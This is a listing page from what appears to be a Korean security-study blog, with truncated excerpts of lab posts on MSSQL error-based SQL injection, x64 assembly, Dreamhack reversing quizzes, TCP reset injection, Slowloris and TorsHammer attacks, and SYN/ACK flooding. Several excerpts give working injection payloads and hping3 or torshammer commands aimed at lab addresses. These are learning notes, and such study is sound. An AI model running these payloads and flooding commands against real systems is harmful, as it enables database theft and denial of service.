Error-based SQL Injection 실습
·
보안/웹·모바일
Error-Based SQL Injection :: 에러 메세지가 친절할 때. 가장 친절/가장 쉬워짐 [DB명찾기] (구문) ' and db_name() > 1 -- (결과) nvarchar 'oyesmall'을 데이터형식 int로 변환하지 못했씁니다. db_name()은 MSSQL에서 데이터베이스 이름을 반환하는 친구임. 데이터베이스 이름이 1보다 크냐? 하고 주석처리 왜 nvarchar값을 int랑 비교하냐??. 하며 데이터베이스 이름 겟ㅋ [TABLE명 찾기] (구문) ' having 1=1 -- (결과) 열 'Members.num'이 집계함수나 GROUP BY절에 없으므로 SELECT 목록에서 사용할 수 없습니다. [COLUMN명 찾기] (구문) ' group by num -- (결과) 열 Mem..
x64 assembly basic
·
보안/리버싱
호출(Call): 프로시저를 부르는 행위 반환(Return): 프로시저에서 돌아오는 것 프로시저를 호출할 때는.. 프로시저 실행 후 원래의 실행 흐름으로 돌아와야 한다. call 다음의 명령어 주소(return address, 반환 주소)를 스택에 저장하고 프로시저로 rip를 이동 x64 어셈블리언어 call addr : addr에 위치한 프로시저 호출 [명령어 구성] - push return_address - jmp addr leave: 스택프레임 정리 [명령어 구성] - mov rsp, rbp - pop rbp # rsp에 rbp 값을 넣어주는건, 스택 어딘가에 있는 rsp를 현재 함수의 base 부분으로 부름. # 그리고 pop rbp해서 함수의 스택 정리 + 아래에 있는.. 저장해놨던 원래 스택 ..
Dreamhack Quiz: x86 Assembly 2
·
보안/리버싱
다음 어셈블리 코드를 실행했을 때 출력되는 결과로 올바른 것은? [Code] main: push rbp mov rbp, rsp mov esi, 0xf mov rdi, 0x400500 call 0x400497 mov eax, 0x0 // eax는 반환값. 즉, return 0 pop rbp ret write_n: push rbp mov rbp, rsp mov QWORD PTR [rbp-0x8],rdi //QWORD=8byte mov DWORD PTR [rbp-0xc],esi //DWORD=4byte xor rdx, rdx mov edx, DWORD PTR [rbp-0xc] //DWORD=4byte mov rsi,QWORD PTR [rbp-0x8] //QWORD=8byte mov rdi, 0x1 mov ra..
TCP 통신 기반 DoS 공격 실습
·
보안/인프라
뭔소리냐면 A(10.200.181.5) 와 B(10.200.181.6, nc서버)이 서로 nc으로 통신하고 있음. 그 사이 kali가 껴서 A를 끊어버릴 것이다. 어떻게 해야 할까? 1. ARP 스푸핑 이전 게시글에서 했었다. 자세한 설명은 생략한다. 2. 칼리에서 tcpdump를 켠다 tcpdump -S -n port 4000 3. B에서 nc 통해 포트를 오픈한다. 그리고 A가 연결해서 몇마디 나눠보셈 4. tcpdump 확인. 5. 나는 10.200.181.5의 연결을 끊을 것이다. hping3 -s 4000 -a 10.200.181.6 -p 60378 -M 2680635114 -L 0 -R -c 1 10.200.181.5 [-s]: 출발지 port [-p]: 목적지 포트 [-a]: 스푸핑할 ip ..
86 Assembly: Essential Part(1) quiz
·
보안/리버싱
86 Assembly: Essential Part(1) quiz 드림핵 리버싱파트 quiz문제 풀이 [Register] rcx = 0 rdx = 0 rsi = 0x400000 ======================= [Memory] 0x400000 | 0x67 0x55 0x5c 0x53 0x5f 0x5d 0x55 0x10 0x400008 | 0x44 0x5f 0x10 0x51 0x43 0x43 0x55 0x5d 0x400010 | 0x52 0x5c 0x49 0x10 0x47 0x5f 0x42 0x5c 0x400018 | 0x54 0x11 0x00 0x00 0x00 0x00 0x00 0x00 ======================= [code] 1: mov dl, BYTE PTR[rsi+rcx] 2: ..
Slow-Rate: Slowloris 공격 실습
·
보안/인프라
Slowloris 공격 - 한대의 컴퓨터에서 Slow-Rate 공격 기법을 이용하여 웹서버를 다운시키는 공격 도구 -HTTP Flood의 유형 - Apache 1.x, 2.x에서 효과적 - 여러 세션을 길게 유지하여 연결 가능한 세션 수를 초과시켜 정산 연결을 할 수 없도록 하는 공격 - HTTP Request 헤더를 불완전 전송하여 완전한 패킷이 올 때까지 세션 연결을 유지함. - GET 방식을 이용한 공격 HTTP 메세지의 헤더와 바디는 개행문자 2번으로 구분됨. => /0d/0a/0d/0a 그런데 개행을 2번 쓰는게 아니라 의도적으로 1번만 쓰고 전달하면.. 웹 서버는 "어라 아직 헤더 올게 남았나보다" 하고 세션 연결을 유지한다. 이렇게 최대 동시 연결 풀을 채우는 것. 평화로워야 할 CentOS..
Slow-Rate: TorsHammer 공격 실습
·
보안/인프라
python2 torshammer.py -t 10.200.181.6 -p 80 -r 256 -r 옵션은 작업 스레드의 수를 지정하는 옵션이다. 죽어가고 있는 centOS (희생자) 80번 웹 서버의 세션 연결 상태가 너무 많음. DoS 공격 진행중인겨 와이어샤크를 확인하면, 출발지 포트는 모두 다르며.. 작은 크기의 패킷을 지속적으로 전송하여 세션을 유지하는 것을 확인 가능함. 같은 출발지 포트, Seq 개수가 찔끔찔끔 증가하는 것을 확인할 수 있다. 패킷 데이터를 1Byte 크기만큼 보내고 처리하는 것. 정상 연결 세션이 들어올 경우 처리하기가 어렵다. 하나만 집어서 보자면, Content Length가 10000으로 설정되어 있는 것 확인할 수 있다. 이래놓고 1byte씩 보내는 것임. 그럼 요청을 ..
PPS based Flooding (TCP Flag)
·
보안/인프라
hping3 [목표 address] -p [port] -S --faster -c [number] --faster: 초당 100개 --fast: 초당 10개 --flood: 가능한 빠르게 1. SYN Flooding hping3 -S 10.200.181.6 -p 80 --flood --flood 이거하면 컴 뻗는다. 이거 대신.. --faster -c 500000하자. 응답하지 않도록 임의의 ip 사용 -a 옵션: source ip를 지정함. --rand-source 옵션: 랜덤한 source ip 지정 hping3 -S 10.200.181.6 -p 80 --rand-source --faster -c 300000 그럼 나한테 응답이 안온다. 2. ACK Flooding hping3 -A 10.200.181..